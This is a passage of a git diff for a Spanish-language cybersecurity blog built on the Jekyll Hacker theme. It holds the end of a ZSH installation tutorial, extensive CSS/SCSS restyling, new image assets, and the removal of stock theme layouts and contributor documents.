    sudo apt-get update
    +
    + +

    Luego iniciamos la instalación:

    + +
    sudo apt-get install zsh -y
    +
    + +

    Ejecutar ZSH como shell predeterminada:

    +

    Para ejecutar ZSH de forma automatica cada vez que iniciemos sesión y establecerla podemos hacerlo de dos maneras. +La primera es ejecutando el siguiente comando:

    + +
    sudo chsh -s $(wich zsh)
    +
    + +

    Una vez hecho esto, reiniciamos el sistema y comprobamos que funcione. En caso de no funcionar, tendremos que hacerlo de forma manual. +Para ello abrimos el archivo .bashrc con el siguiente comando:

    + +
    sudo nano ~/.bashrc
    +
    + +

    Una vez abierto el arhcivo .bashrc escribiremos exec zsh en la parte superior del archivo. De esta manera se ejecutará el comando zsh +cada vez que se cargue la terminal.

    + +

    Nota: Se debe de terner mucho cuidado al realizar esta instalación y no realizarlo durante otros procesos ya que al realizar estos cambios +puede que se interrumpan todos los trabajos interactivos.

    + +

    Versión:

    +

    Para asegurarnos que tenemos la ZSH instalada podemos comprobarlo y ver la versión exacta mediante el comando:

    + +
    zsh --version
    +
    + +

    Configuración de la ZSH:

    + +

    ZSH tiene cinco archivos de configuración principales. Esos archivos son: .zshenv, .zprofile, .zshrc, .zlogin y .zlogout.

    + +

    La ZSH funciona leyendo el archivo .zshenv a menos que se especifique el argumento -f al iniciar la sesión del shell.

    + +

    .zshenv : Solo debe contener las variables de entorno del usuario. No debe contener comandos que adjunten sescuencias de entrada/salida estandar (TTY).

    + +

    .zprofile : Contiene comando ejecutados en el inicio de sesión del shell. Solo debe usarse para ejecutar comandos externos.

    + +

    .zshrc : Contiene las configuraciones y los comandos del shell. Se obtiene en shells interactivos y contien alias, enlaces de taclas, variables y funciones.

    + +

    .zlogin : Este archivo es similar a .zprofile. No debe contener ningún comando que altere el entorno.

    + +

    .zlogout : Se lee cuando se cierra la sesión de la shell. Puede usarse para configurar los comandos que se ejecutan cuando se cierra el shell.

    + +

    Funciones:

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/_config.yml b/_config.yml index c5cf3fdc785..be388573015 100644 --- a/_config.yml +++ b/_config.yml @@ -1,5 +1,5 @@ -title: Hacker theme -description: Hacker is a theme for GitHub Pages. -show_downloads: true -google_analytics: -theme: jekyll-theme-hacker \ No newline at end of file +title: F1r0x +description: Blog sobre Ciberseguridad. +# show_downloads: true +google_analytics: +theme: jekyll-theme-hacker diff --git a/_includes/head-custom-google-analytics.html b/_includes/head-custom-google-analytics.html deleted file mode 100644 index 8a3ae5c9ca1..00000000000 --- a/_includes/head-custom-google-analytics.html +++ /dev/null @@ -1,10 +0,0 @@ -{% if site.google_analytics %} - -{% endif %} diff --git a/_includes/head-custom-theme-colors.html b/_includes/head-custom-theme-colors.html deleted file mode 100644 index a30e7084adf..00000000000 --- a/_includes/head-custom-theme-colors.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/_includes/head-custom.html b/_includes/head-custom.html deleted file mode 100644 index 44cdb83f523..00000000000 --- a/_includes/head-custom.html +++ /dev/null @@ -1,12 +0,0 @@ - - - -{% include head-custom-theme-colors.html %} - - -{% include head-custom-google-analytics.html %} - - - - - diff --git a/_layouts/default.html b/_layouts/default.html deleted file mode 100644 index 1c8c883a480..00000000000 --- a/_layouts/default.html +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - - - {% include head-custom.html %} - -{% seo %} - - - - -
    -
    - -

    {{ site.title | default: site.github.repository_name }}

    -
    -

    {{ site.description | default: site.github.project_tagline }}

    - -
    - {% if site.show_downloads %} - Download as .zip - Download as .tar.gz - {% endif %} - View on GitHub -
    -
    -
    - -
    -
    - {{ content }} -
    -
    - - diff --git a/_layouts/post.html b/_layouts/post.html deleted file mode 100644 index 0676aff31c4..00000000000 --- a/_layouts/post.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -layout: default ---- - -{{ page.date | date: "%-d %B %Y" }} -

    {{ page.title }}

    - -

    by {{ page.author | default: site.author }}

    - -{{content}} - -{% if page.tags %} - tags: {{ page.tags | join: " - " }} -{% endif %} diff --git a/_sass/_default_colors.scss b/_sass/default_colors.scss similarity index 99% rename from _sass/_default_colors.scss rename to _sass/default_colors.scss index dee878d702a..241fed0fa49 100644 --- a/_sass/_default_colors.scss +++ b/_sass/default_colors.scss @@ -13,3 +13,4 @@ $potters-clay: #8f5536; $rajah: #f4bf75; $raw-sienna: #d28445; $silver-chalice: #aaa; + diff --git a/_sass/jekyll-theme-hacker-images.scss b/_sass/jekyll-theme-hacker-images.scss new file mode 100644 index 00000000000..8d980aaf78c --- /dev/null +++ b/_sass/jekyll-theme-hacker-images.scss @@ -0,0 +1,45 @@ +@import "rouge-base16-dark"; +@import "default_colors"; + +$body-background: $cod-grey !default; +$body-foreground: $gallery !default; +$header: $conifer !default; +$blockquote-color: $silver-chalice !default; +$blockquote-border: $dove-grey !default; +$container-max-width: 1000px; /* Tamaño máx del contenedor de la página */ + +@mixin media-max-width($max-width) { + @media (max-width: $max-width) { + @content; + } +} + +.img-burpsuite1 { + margin: -50px -400px -50px; + scale: 0.7; +} + +.img-burpsuite2 { + margin: -50px -170px -50px; + scale: 0.8; +} + +.img-setoolkit { + margin: -30px -100px -30px; + scale: 0.9; +} + +.img-metasploit2 { + margin: 0 -90px 0; +} + +.img-parrot1 { + margin: -110px -400px -140px; + scale: 0.7; +} + +.img-ssh1 { + margin: -110px -400px -140px; + scale: 0.7; +} + diff --git a/_sass/jekyll-theme-hacker.scss b/_sass/jekyll-theme-hacker.scss index b3123a11ce3..d689aa5a593 100644 --- a/_sass/jekyll-theme-hacker.scss +++ b/_sass/jekyll-theme-hacker.scss @@ -6,7 +6,7 @@ $body-foreground: $gallery !default; $header: $conifer !default; $blockquote-color: $silver-chalice !default; $blockquote-border: $dove-grey !default; -$container-max-width: 1000px; +$container-max-width: 1000px; /* Tamaño máx del contenedor de la página */ @mixin media-max-width($max-width) { @media (max-width: $max-width) { @@ -14,71 +14,91 @@ $container-max-width: 1000px; } } -body { - margin: 0; - padding: 0; - background: $body-background url("../images/bkg.png") 0 0; - color: $body-foreground; - font-size: 16px; - line-height: 1.5; - font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; +*{ + margin: 0; + padding: 0; + box-sizing: border-box; + text-decoration: none; +} + +/* ----------------------------- Cabecera de la Página ----------------------------------- */ + +header { + width: 100%; + padding: 20px 0; + margin: 0 0 40px 0; } -/* General & 'Reset' Stuff */ +/* ----------------------------- Cuerpo de la Página ----------------------------------- */ + +body { + margin: 0; + margin-left: 69px; /* Espacio izquierdo */ + padding: 0; + background: $body-background url("../images/bkg.png") 0 0; /* Imágen fondo de la página */ + color: $body-foreground; + font-size: 16px; + line-height: 1.5; + font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; + transition: margin-left 300ms cubic-bezier(0.785, 0.135, 0.15, 0.86); +} + +/* -------------------------------- Contenido General ------------------------------------*/ .container { - width: 90%; + width: 91%; max-width: $container-max-width; margin: 0 auto; } -section { +section { /* Botónes */ display: block; - margin: 0 0 20px 0; + margin: 0 -275px 0; /* Margen arriba/horizontal/inferior*/ } -h1, h2, h3, h4, h5, h6 { - margin: 0 0 20px; +h1{ /* Títulos principales */ + margin: 20px -30px 0; } -li { - line-height: 1.4 ; +h2{ /* Títulos secundarios */ + margin: 20px -20px 8px; } -/* Header,
    - header - container - h1 - project name - h2 - project description -*/ +h3 { + margin: 16px -15px 8px; +} -header { - background: rgba(0, 0, 0, 0.1); - width: 100%; - border-bottom: 1px dashed $conifer; //header; - padding: 20px 0; - margin: 0 0 40px 0; +h4 { /* Títulos del menú lateral */ + margin: -2px -10px -5px; } -header h1 { - font-size: 30px; - line-height: 1.5; - margin: 0 0 0 -40px; - font-weight: bold; +h5 { /* Título Principal */ + margin-left: -27.7%; + margin: -2px -275px 0; + font-size: 36px; +} + +h6 { /* Descripción del Blog */ + margin: 3px -275px 10px; + font-size: 20px; +} + +h1, h2, h3, h4, h5, h6 { + font-weight: normal; font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; - color: $conifer;//$header; + color: $header; + letter-spacing: -0.03em; text-shadow: 0 1px 1px rgba(0, 0, 0, 0.1), 0 0 5px rgba(181, 232, 83, 0.1), 0 0 10px rgba(181, 232, 83, 0.1); - letter-spacing: -1px; - -webkit-font-smoothing: antialiased; - @include media-max-width($container-max-width) { - margin-left: 0; - } } +.portada1 { + margin: 0 0 0; +} header h1:before { - content: "./ "; + content: " "; font-size: 24px; } @@ -88,60 +108,40 @@ header h2 { color: #666; } -#downloads .btn { - display: inline-block; - text-align: center; - margin: 0; -} - -/* Main Content -*/ - -#main_content { - width: 100%; - -webkit-font-smoothing: antialiased; -} -section img { - max-width: 100% -} - -h1, h2, h3, h4, h5, h6 { - font-weight: normal; +header h5, h6 { + line-height: 1.5; + font-weight: bold; font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; - color: $header; - letter-spacing: -0.03em; + color: $conifer;//$header; text-shadow: 0 1px 1px rgba(0, 0, 0, 0.1), 0 0 5px rgba(181, 232, 83, 0.1), 0 0 10px rgba(181, 232, 83, 0.1); + letter-spacing: -1px; + -webkit-font-smoothing: antialiased; + @include media-max-width($container-max-width) { + margin-left: 0; + + } } -#main_content h1 { - font-size: 30px; -} - -#main_content h2 { - font-size: 24px; +p { /* Texto o contenido general de la Página */ + margin: 5px 0 0; } -#main_content h3 { - font-size: 18px; +ul { + margin: 8px 30px 25px; /* Contenido listado >> */ } -#main_content h4 { - font-size: 14px; +li { + line-height: 1.4 ; } -#main_content h5 { - font-size: 12px; - text-transform: uppercase; - margin: 0 0 5px 0; +ul li { + list-style-image:url('../images/bullet.png'); } -#main_content h6 { - font-size: 12px; - text-transform: uppercase; - color: #999; - margin: 0 0 5px 0; +section img { + max-width: 100% } dt { @@ -149,10 +149,6 @@ dt { font-weight: bold; } -ul li { - list-style-image:url('../images/bullet.png'); -} - blockquote { color: $blockquote-color; padding-left: 10px; @@ -172,12 +168,16 @@ pre { } code.highlighter-rouge { - background: rgba(0,0,0,0.9); + background: rgba(0, 0, 0, 0.9); /* Color de fondo del texto entre comillas `` */ border: 1px solid rgba(255, 255, 255, 0.15); padding: 0px 3px; margin: 0px -3px; - color: #aa759f; - border-radius: 2px; + color: #aa759f; /* Color del texto resaltado entre comillas `` */ + border-radius: 2px; +} + +.highlight { /* Cuadros negros para el código */ + margin: 5px 0 5px; } table { @@ -202,8 +202,89 @@ hr { color: #b5e853; } -/* Buttons -*/ +#a-title { + text-decoration: none; +} + +.contenedor { + display: flex; + flex-wrap: wrap; +} + +.contenedor img { + width: 29%; +} + +.imagen { + box-sizing: border-box; + flex-basis: 33.33%; + flex-shrink: 0; + padding: 5px; +} + +.imagen h5 { + margin: 1px 0; +} + +.img-nmap { + margin: -20px -350px -20px; + scale: 0.8; +} + +.img-permisos1 { + margin: -170px -200px -170px; + scale: 0.45; +} + +.img-python1 { + margin: -170px -500px -170px; + scale: 0.60; +} + +.img-python2 { + margin: -150px -260px -150px; + scale: 0.60; +} + +.img-particion2 { + margin: 0 -345px 0; + scale: 0.70; +} + + + +/* ----------- Indice lateral (Comandos línux) ------------------- */ + +#indice-lateral { + margin-top: 20px; + margin-left: 1050px; + position: absolute; +} + + +/* -------------------- Posición del Gestor de Comentarios --------------------------- */ + +#comentarios { + margin: 40px 100px 40px; /* Margen arriba/horizontal/inferior*/ + width: 800px; + height: 300px; + background-color: rgb(20, 20, 20); + border-radius: 30px; + text-align: center; +} + +#comentarios-contacto { + margin: 160px 100px 40px; /* Margen arriba/horizontal/inferior*/ + width: 800px; + height: 300px; + background-color: rgb(20, 20, 20); + border-radius: 30px; + text-align: center; +} + + + +/* ------------------------------------------ Botones ----------------------------------- */ .btn { display: inline-block; @@ -239,19 +320,78 @@ hr { background: url("../images/blacktocat.png") 0 0 no-repeat; } -/* Links - a, a:hover, a:visited -*/ +#downloads .btn { + display: inline-block; + text-align: center; + margin: 0; +} + +/* ---------- Botónes Anterios y Siguiente ------------ */ + +.btn-anterior{ + position: fixed; + margin-top: 684px; + margin-left: -320px; + z-index: 300; +} + + +.btn-siguiente{ + position: fixed; + margin-top: 684px; + margin-left: 1200px; + z-index: 300; +} + +.btn-anterior-con-titulo{ + position: fixed; + margin-top: 641px; + margin-left: -320px; + z-index: 300; +} + +.btn-siguiente-con-titulo{ + position: fixed; + margin-top: 641px; + margin-left: 1200px; + z-index: 300; +} + +/*----------------- Botón Volver Índice Curso Linux --------------------*/ + +.btn-curso-linux{ + position: fixed; + margin-top: 595px; + margin-left: -320px; + z-index: 300; +} + + + + + + +/* ------------------------------------ Botón HTB --------------------------------------*/ + +#main_content { /* Class para Botón HTB */ + width: 30%; + margin-top: -45px; /* Altura del contenido de la página */ + margin-left: -4%; /* Espacio lateral del botón */ + -webkit-font-smoothing: antialiased; + +} + +/* --------------------------------------- Links ----------------------------------- */ a { - color: #63c0f5; + color: #63c0f5; /* Color de los links */ text-shadow: 0 0 5px rgba(104, 182, 255, 0.5); } -/* Clearfix */ +/* ------------------------------------ Clearfix ------------------------------------*/ .cf:before, .cf:after { - content:""; + content:" "; display:table; } @@ -263,6 +403,203 @@ a { zoom:1; } -#a-title { - text-decoration: none; +/* -------------------------------------- Menú lateral Animado ---------------------------------------------------*/ + +/* ---------------- Icono Desplegable ---------------------------------------------------*/ + +.icon__menu{ + margin-left: -400px; /* Distancia lateral del botón de menú lateral */ + margin-top: 25px; /* Altura del botón del menú lateral */ + padding: 20px 0; + display: flex; + justify-content: center; + align-items: center; + transform: translateX(77px); + position: fixed; /* Fijar icono al deslizar la página */ + top: 0; + z-index: 200; +} + +.icon__menu i{ + font-size: 30px; + cursor: pointer; + position: absolute; +} + +/* ------------------------------ Menú Lateral -------------------------------------- */ + +.menu__side{ + width: 69px; /* Ancho del menú lateral plegado */ + height: 100%; + background: #5c8014; /* Color de fondo del menú lateral */ + position: fixed; + top: 0; + left: 0; + color: rgb(255, 255, 255); /* Color boton principal*/ + font-size: 18px; + z-index: 300; + overflow: hidden; + overflow-y: scroll; + border-right: 10px solid #a7da45; /* Color del marco derecho del menú */ + transition: all 300ms cubic-bezier(0.785, 0.135, 0.15, 0.86); +} + +.name__page{ + padding: 20px 25px; /* Altura del botón de youtube */ + display: flex; + align-items: center; + margin-top: 10px; +} + +.name__page i{ /* Movimiento del título principal del menú lateral */ + width: 20px; + margin-right: 20px; +} + +.name__page h4{ + padding-left: 5px; /* Posición del título principal */ +} + +.options__menu{ /* General: Botones y títulos secundarios del menú lateral */ + padding: 56px 25px; /* Posición Altura/Lateral */ + position: absolute; + +} + +.options__menu a{ + color: rgb(212, 209, 209); /* Colores de los botones del menú lateral */ + cursor: default; + display: block; + position: relative; + transition: color 300ms; +} + +.options__menu a:hover{ + color: rgb(19, 18, 18); /* Color al pasar el cursor por encima del icono */ +} + +.options__menu .option{ + padding: 30px 0px; /* Espacio entre los botones del menú lateral */ + display: flex; + align-items: center; + position: relative; +} + +.options__menu .option i{ + width: 25px; /* Posición lateral del texto de los botones del menú lateral */ + margin-right: 20px; + cursor: pointer; +} + +.options__menu .option h4{ + color: #b5e853; /* Color de las letras del menú lateral */ + font-weight: 300; + cursor: pointer; + font-style: italic; +} + +.menu__side .name__page h4{ + color: #b5e853; /* Color del título del menú lateral */ + font-weight: 300; + cursor: pointer; + font-style: italic; +} + +/*------ Ocultar scroll para chrome, safari y opera -------*/ + +.menu__side::-webkit-scrollbar{ + display: none; +} + +/*-------- Ocultar scroll para IE, Edge y Firefox -------*/ + +.menu__side{ + -ms-overflow-style: none; + scrollbar-width: none; +} + +/*----------- Clases para usar en JavaScript ------------*/ + +.body_move{ + margin-left: 200px; /* Separación Izq. tras desplegar el menu lateral */ +} + +.menu__side_move{ + width: 200px; } + +@media screen and (max-width: 760px){ + .body_move{ + margin-left: 0px; + } + + .menu__side_move{ + width: 69px; + left: -69px; + } +} + +/* --------------------------------- Letrero Animado Lineal ------------------------------------ */ + +svg { + width: 100%; + height: 100%; + margin-top: -150px; /* Separación superior del Letrero */ + margin-left: -100px; /* Separación lateral del Letrero */ + background-size: .2em 100%; + font: 14.5em/1 Open Sans, Impact; + text-transform: uppercase; +} + +.text { + fill: none; + stroke-width: 6; + stroke-linejoin: round; + stroke-dasharray: 70 330; + stroke-dashoffset: 0; + -webkit-animation: stroke 6s infinite linear; + animation: stroke 6s infinite linear; +} + +.text:nth-child(5n + 1) { + stroke: #43571F; + -webkit-animation-delay: -1.2s; + animation-delay: -1.2s; +} +.text:nth-child(5n + 2) { + stroke: #dbeeb7; + -webkit-animation-delay: -2.4s; + animation-delay: -2.4s; +} + +.text:nth-child(5n + 3) { + stroke: #b5e853; + -webkit-animation-delay: -3.6s; + animation-delay: -3.6s; +} + +.text:nth-child(5n + 4) { + stroke: #87AE3E; + -webkit-animation-delay: -4.8s; + animation-delay: -4.8s; +} + +.text:nth-child(5n + 5) { + stroke: #5c8014; + -webkit-animation-delay: -6s; + animation-delay: -6s; +} + +@-webkit-keyframes stroke { + 100% { + stroke-dashoffset: -400; + } +} + +@keyframes stroke { + 100% { + stroke-dashoffset: -400; + } +} + + diff --git a/another-page.md b/another-page.md deleted file mode 100644 index 03ce0c23db4..00000000000 --- a/another-page.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -layout: default ---- - -## Welcome to another page - -_yay_ - -[back](./) diff --git a/assets/css/estilos.css b/assets/css/estilos.css new file mode 100644 index 00000000000..0eb56efcb55 --- /dev/null +++ b/assets/css/estilos.css @@ -0,0 +1,294 @@ +/* ESTILOS GENERALES */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + background-color:#000; + color: #fff; + font-size: 18px; + font-family: 'Lato', sans-serif; + font-weight: 300; +} + +particles-js { + height: 100%; + width: 100%; + position: fixed; + background_repeat: repeat-y; + z-index: -1; +} + +.contenido-descripcion { + width: 60%; + display: flex; + height: 100%; + align-items: center; +} + +.contenido-descripcion .titulo { + text-transform: uppercase; + letter-spacing: 5px; +} + +.contenido-descripcion .titulo span:first-child { + font-size: 50px; + display: block; + font-weight: 300; +} + +.contenido-descripcion .btn-link { + display: inline-block; + padding: 10px 20px; + margin: 100px 0; + text-transform: uppercase; + text-decoration: none; + color: #3dff3e; + border: 1px solid #555555; + animation: parpadeo 2s linear infinite; + transition: .7s ease; +} + +.contenido-descripcion .btn-link:hover { + border: 1px solid #3dff3e; + animation: none; +} + + +@keyframes parpadeo { + 0%, 41%, 45%, 47%, 49.5%, 100% { + opacity: 1; + } + + 42%, 44%, 46%,48%, 50% { + opacity: 0; + } +} + +/* LETRERO LUMINOSO*/ + + +@font-face { + font-family: Clip; + src: url("https://acupoftee.github.io/fonts/Clip.ttf"); +} + +.sign { + position: absolute; + display: flex; + justify-content: center; + align-items: center; + width: 50%; + height: 50%; + background-image: radial-gradient( + ellipse 50% 35% at 50% 50%, + #759538, + transparent + ); + transform: translate(-50%, -50%); + letter-spacing: 2; + left: 50%; + top: 50%; + font-family: "Clip"; + text-transform: uppercase; + font-size: 6em; + color: #eaf8c7; + text-shadow: 0 0 0.6rem #eaf8c7, 0 0 1.5rem #b5e853, + -0.2rem 0.1rem 1rem #b5e853, 0.2rem 0.1rem 1rem #b5e853, + 0 -0.5rem 2rem #b5e800, 0 0.5rem 3rem #b5e800; + animation: shine 2s forwards, flicker 3s infinite; +} + +@keyframes blink { + 0%, + 22%, + 36%, + 75% { + color: #eaf8c7; + text-shadow: 0 0 0.6rem #eaf8c7, 0 0 1.5rem #b5e853, + -0.2rem 0.1rem 1rem #b5e853, 0.2rem 0.1rem 1rem #b5e853, + 0 -0.5rem 2rem #b5e800, 0 0.5rem 3rem #b5e800; + } + 28%, + 33% { + color: #b5e853; + text-shadow: none; + } + 82%, + 97% { + color: #b5e800; + text-shadow: none; + } +} + +.flicker { + animation: shine 2s forwards, blink 3s 2s infinite; +} + +.fast-flicker { + animation: shine 2s forwards, blink 10s 1s infinite; +} + +@keyframes shine { + 0% { + color: #759538; + text-shadow: none; + } + 100% { + color: #eaf8c7; + text-shadow: 0 0 0.6rem #eaf8c7, 0 0 1.5rem #b5e853, + -0.2rem 0.1rem 1rem #b5e853, 0.2rem 0.1rem 1rem #b5e853, + 0 -0.5rem 2rem #b5e800, 0 0.5rem 3rem #b5e800; + } +} + +@keyframes flicker { + from { + opacity: 1; + } + + 4% { + opacity: 0.9; + } + + 6% { + opacity: 0.85; + } + + 8% { + opacity: 0.95; + } + + 10% { + opacity: 0.9; + } + + 11% { + opacity: 0.922; + } + + 12% { + opacity: 0.9; + } + + 14% { + opacity: 0.95; + } + + 16% { + opacity: 0.98; + } + + 17% { + opacity: 0.9; + } + + 19% { + opacity: 0.93; + } + + 20% { + opacity: 0.99; + } + + 24% { + opacity: 1; + } + + 26% { + opacity: 0.94; + } + + 28% { + opacity: 0.98; + } + + 37% { + opacity: 0.93; + } + + 38% { + opacity: 0.5; + } + + 39% { + opacity: 0.96; + } + + 42% { + opacity: 1; + } + + 44% { + opacity: 0.97; + } + + 46% { + opacity: 0.94; + } + + 56% { + opacity: 0.9; + } + + 58% { + opacity: 0.9; + } + + 60% { + opacity: 0.99; + } + + 68% { + opacity: 1; + } + + 70% { + opacity: 0.9; + } + + 72% { + opacity: 0.95; + } + + 93% { + opacity: 0.93; + } + + 95% { + opacity: 0.95; + } + + 97% { + opacity: 0.93; + } + + to { + opacity: 1; + } +} + +/* RESOLUCION PARA LOS DISTINTOS DISPOSITIVOS */ + +.resolucion{ + width: 99%; + text-align: center; + +} +/* Movil */ +@media (max-width: 767px){ + .desktop{display: none;} + .tablet{display: none;} +} +/* Tablet */ +@media (min-width: 767px) and (max-width: 990px) { + .desktop{display: none;} + .movil{display: none;} +} +/* Escritorio */ +@media (min-width: 991px) and { + .tablet{display: none;} + .movil{display: none;} +} diff --git a/assets/css/style.scss b/assets/css/style.scss index 5f1392bde1c..253526bd699 100644 --- a/assets/css/style.scss +++ b/assets/css/style.scss @@ -2,3 +2,4 @@ --- @import 'jekyll-theme-hacker'; +@import 'jekyll-theme-hacker-images'; \ No newline at end of file diff --git a/assets/images/BlueButton.png b/assets/images/BlueButton.png new file mode 100644 index 00000000000..c2cea5777b3 Binary files /dev/null and b/assets/images/BlueButton.png differ diff --git a/assets/images/Cap.png b/assets/images/Cap.png new file mode 100644 index 00000000000..f9894ac0076 Binary files /dev/null and b/assets/images/Cap.png differ diff --git a/assets/images/FondoWeb.png b/assets/images/FondoWeb.png new file mode 100644 index 00000000000..b562f8df6f8 Binary files /dev/null and b/assets/images/FondoWeb.png differ diff --git a/assets/images/JerryButton.png b/assets/images/JerryButton.png new file mode 100644 index 00000000000..adae55303c4 Binary files /dev/null and b/assets/images/JerryButton.png differ diff --git a/assets/images/Lame.png b/assets/images/Lame.png new file mode 100644 index 00000000000..4e091d48267 Binary files /dev/null and b/assets/images/Lame.png differ diff --git a/assets/images/SnockerButton.png b/assets/images/SnockerButton.png new file mode 100644 index 00000000000..32912796d14 Binary files /dev/null and b/assets/images/SnockerButton.png differ diff --git a/assets/images/SwagShopButton.png b/assets/images/SwagShopButton.png new file mode 100644 index 00000000000..768cdb04e4f Binary files /dev/null and b/assets/images/SwagShopButton.png differ diff --git a/assets/images/bkg1.jpg b/assets/images/bkg1.jpg new file mode 100644 index 00000000000..985b0fc4f38 Binary files /dev/null and b/assets/images/bkg1.jpg differ diff --git a/assets/images/fondonegro.jpg b/assets/images/fondonegro.jpg new file mode 100644 index 00000000000..e6dbfcf9f56 Binary files /dev/null and b/assets/images/fondonegro.jpg differ diff --git a/assets/images/fondonegro.png b/assets/images/fondonegro.png new file mode 100644 index 00000000000..67b2a89651f Binary files /dev/null and b/assets/images/fondonegro.png differ diff --git a/assets/images/logoweb.ico b/assets/images/logoweb.ico new file mode 100644 index 00000000000..b4c6472b79f Binary files /dev/null and b/assets/images/logoweb.ico differ diff --git a/docs/CODE_OF_CONDUCT.md b/docs/CODE_OF_CONDUCT.md deleted file mode 100644 index ab1a9a1d8a2..00000000000 --- a/docs/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,46 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at opensource@github.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md deleted file mode 100644 index 37bc385828b..00000000000 --- a/docs/CONTRIBUTING.md +++ /dev/null @@ -1,88 +0,0 @@ -# Contributing to the Hacker theme - -Hi there! We're thrilled that you'd like to contribute to the Hacker theme. Your help is essential for keeping it great. - -the Hacker theme is an open source project supported by the efforts of an entire community and built one contribution at a time by users like you. We'd love for you to get involved. Whatever your level of skill or however much time you can give, your contribution is greatly appreciated. There are many ways to contribute, from writing tutorials or blog posts, improving the documentation, submitting bug reports and feature requests, helping other users by commenting on issues, or writing code which can be incorporated into the Hacker theme itself. - -Following these guidelines helps to communicate that you respect the time of the developers managing and developing this open source project. In return, they should reciprocate that respect in addressing your issue, assessing changes, and helping you finalize your pull requests. - - -## Looking for support? - -We'd love to help. Check out [the support guidelines](SUPPORT.md). - -## How to report a bug - -Think you found a bug? Please check [the list of open issues](https://github.com/pages-themes/hacker/issues) to see if your bug has already been reported. If it hasn't please [submit a new issue](https://github.com/pages-themes/hacker/issues/new). - -Here are a few tips for writing *great* bug reports: - -* Describe the specific problem (e.g., "widget doesn't turn clockwise" versus "getting an error") -* Include the steps to reproduce the bug, what you expected to happen, and what happened instead -* Check that you are using the latest version of the project and its dependencies -* Include what version of the project your using, as well as any relevant dependencies -* Only include one bug per issue. If you have discovered two bugs, please file two issues -* Even if you don't know how to fix the bug, including a failing test may help others track it down - -**If you find a security vulnerability, do not open an issue. Please email security@github.com instead.** - -## How to suggest a feature or enhancement - -If you find yourself wishing for a feature that doesn't exist in the Hacker theme, you are probably not alone. There are bound to be others out there with similar needs. Many of the features that the Hacker theme has today have been added because our users saw the need. - -Feature requests are welcome. But take a moment to find out whether your idea fits with the scope and goals of the project. It's up to you to make a strong case to convince the project's developers of the merits of this feature. Please provide as much detail and context as possible, including describing the problem you're trying to solve. - -[Open an issue](https://github.com/pages-themes/hacker/issues/new) which describes the feature you would like to see, why you want it, how it should work, etc. - - - -## Your first contribution - -We'd love for you to contribute to the project. Unsure where to begin contributing to the Hacker theme? You can start by looking through these "good first issue" and "help wanted" issues: - -* [Good first issues](https://github.com/pages-themes/hacker/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) - issues which should only require a few lines of code and a test or two -* [Help wanted issues](https://github.com/pages-themes/hacker/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) - issues which may be a bit more involved, but are specifically seeking community contributions - -*p.s. Feel free to ask for help; everyone is a beginner at first* :smiley_cat: - -## How to propose changes - -Here's a few general guidelines for proposing changes: - -* If you are making visual changes, include a screenshot of what the affected element looks like, both before and after. -* Follow the [Jekyll style guide](https://ben.balter.com/jekyll-style-guide). -* If you are changing any user-facing functionality, please be sure to update the documentation -* Each pull request should implement **one** feature or bug fix. If you want to add or fix more than one thing, submit more than one pull request -* Do not commit changes to files that are irrelevant to your feature or bug fix -* Don't bump the version number in your pull request (it will be bumped prior to release) -* Write [a good commit message](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) - -At a high level, [the process for proposing changes](https://guides.github.com/introduction/flow/) is: - -1. [Fork](https://github.com/pages-themes/hacker/fork) and clone the project -2. Configure and install the dependencies: `script/bootstrap` -3. Make sure the tests pass on your machine: `script/cibuild` -4. Create a new branch: `git checkout -b my-branch-name` -5. Make your change, add tests, and make sure the tests still pass -6. Push to your fork and [submit a pull request](https://github.com/pages-themes/hacker/compare) -7. Pat your self on the back and wait for your pull request to be reviewed and merged - -**Interesting in submitting your first Pull Request?** It's easy! You can learn how from this *free* series [How to 